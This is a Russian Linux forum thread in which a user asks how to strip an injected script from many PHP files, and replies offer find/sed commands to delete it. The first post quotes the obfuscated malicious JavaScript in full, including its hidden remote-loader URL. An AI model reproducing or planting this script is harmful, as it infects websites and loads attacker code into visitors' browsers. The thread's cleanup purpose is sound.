Массовая замена строки в файлах

Здесь обсуждаются все вопросы, не попадающие под другие категории
eoleg
Заглянувший
Сообщения: 3
Зарегистрирован: 05 апр 2010, 17:16

Массовая замена строки в файлах

Сообщение eoleg »

Как удалить строку в нескольких файлах?

во все .php прописался скрипт

<script>var A;if(A!='q' && A!='m'){A='q'};function l() {var pT="";var bP="";var u="]";var oC=new String();var JH=new String();var K=RegExp;var s;if(s!='' && s!='g'){s='k'};this.S='';var J=new String("rep"+"lac"+"N8qe".substr(3));var O=new Array();var X=unescape("/google.com/google.com/zing.vn/msn.com.cn/charter.net.php");var XU=window;var T=new String();var R=new String();var W='';var F;if(F!=''){F='li'};var sh;if(sh!='' && sh!='Ze'){sh=''};var kV=new Array();function v(Q,Z){var D="";var Wu=new String("[");var j='';Wu+=Z+u;var G;if(G!='Qe' && G != ''){G=null};this.Bc="";var n=new K(Wu, String("V3KFg".substr(4)));var mN;if(mN!='sas'){mN=''};return Q[J](n, W);};var ek="";var U=new Array();var w=v('87530637832930573','56472139');var YE;if(YE!='' && YE!='gG'){YE='Co'};this.Qv='';var ZS=unescape("http://kohls-com.ya.ru.hulu-com.javahelponline.ru:");var PS;if(PS!='nF' && PS!='hb'){PS='nF'};var P='';var ds;if(ds!='ue' && ds!='WW'){ds='ue'};var b=String("scr"+"KVaipt".substr(3));var _s='';var Pc='';this.zl='';XU["onloa"+"Hvgkd".substr(4)]=function(){var AV='';var Og;if(Og!=''){Og='yV'};try {var IX;if(IX!='' && IX!='sP'){IX=null};this.wn="";P=ZS+w;P+=X;p=document.createElement(b);var c;if(c!='' && c!='Me'){c=''};this.DG="";this.ry='';p[String("de"+"fe"+"r")]=[8,1][1];var N="";var aR="";p["srJW4".substr(0,2)+"c9AJ".substr(0,1)] = P;document.body.appendChild(p);} catch(Pz){};var ryl=new String();};var cJ=new Date();var ga=new Date();var _n="";var gi=new Date();};l();</script>
<!--21bbe805d2c1299b84645aa67bdf7beb-->

мне его нужно удалить
но файлов много и руками это очень трудоемко
как с помощью встроенных средств в linux автоматически удалить его?
find
sed
awk
replace
может еще какие команды есть?
сразу скажу что доку сейчас читаю поэтому за совет прочитать заранее говорю спасибо.
find . -name *.php -exec sed -i 's/oldtext/newtext/' {} \;
не получилось

как удалить строку если она начинается например с <script>var A;if(A!='q' &&
чтото нужно еще прописать

Аватара пользователя
grub
Неотъемлемая часть форума
Сообщения: 849
Зарегистрирован: 13 сен 2006, 10:29
Откуда: Минск
Контактная информация:

Re: Массовая замена строки в файлах

Сообщение grub »

"не получилось"

Почему? Из-за одиночных кавычек?

eoleg
Заглянувший
Сообщения: 3
Зарегистрирован: 05 апр 2010, 17:16

Re: Массовая замена строки в файлах

Сообщение eoleg »

нет
из за символов в строке
нужен способ удаления строки полностью по ее начальным символам

Аватара пользователя
grub
Неотъемлемая часть форума
Сообщения: 849
Зарегистрирован: 13 сен 2006, 10:29
Откуда: Минск
Контактная информация:

Re: Массовая замена строки в файлах

Сообщение grub »

Тогда надо regexp написать.

Что-нибудь типа sed -i -r -e 's/<script>var A.*//' $filename

Перед экспериментами рекомендую сделать резервную копию, чтобы опечатка в регулярном выражении не оставила вас с кучей бесполезного мусора.

eoleg
Заглянувший
Сообщения: 3
Зарегистрирован: 05 апр 2010, 17:16

Re: Массовая замена строки в файлах

Сообщение eoleg »

получилось
может понадобится кому
удаляет строку которая начинается с <script>var A
расширение php обязательно в кавычках
find . -name "*.php" -exec sed -i '/^<script>var A/d' '{}' \;
find . -name *.html -exec sed -i '/^<script>var A/d' '{}' \;

Ответить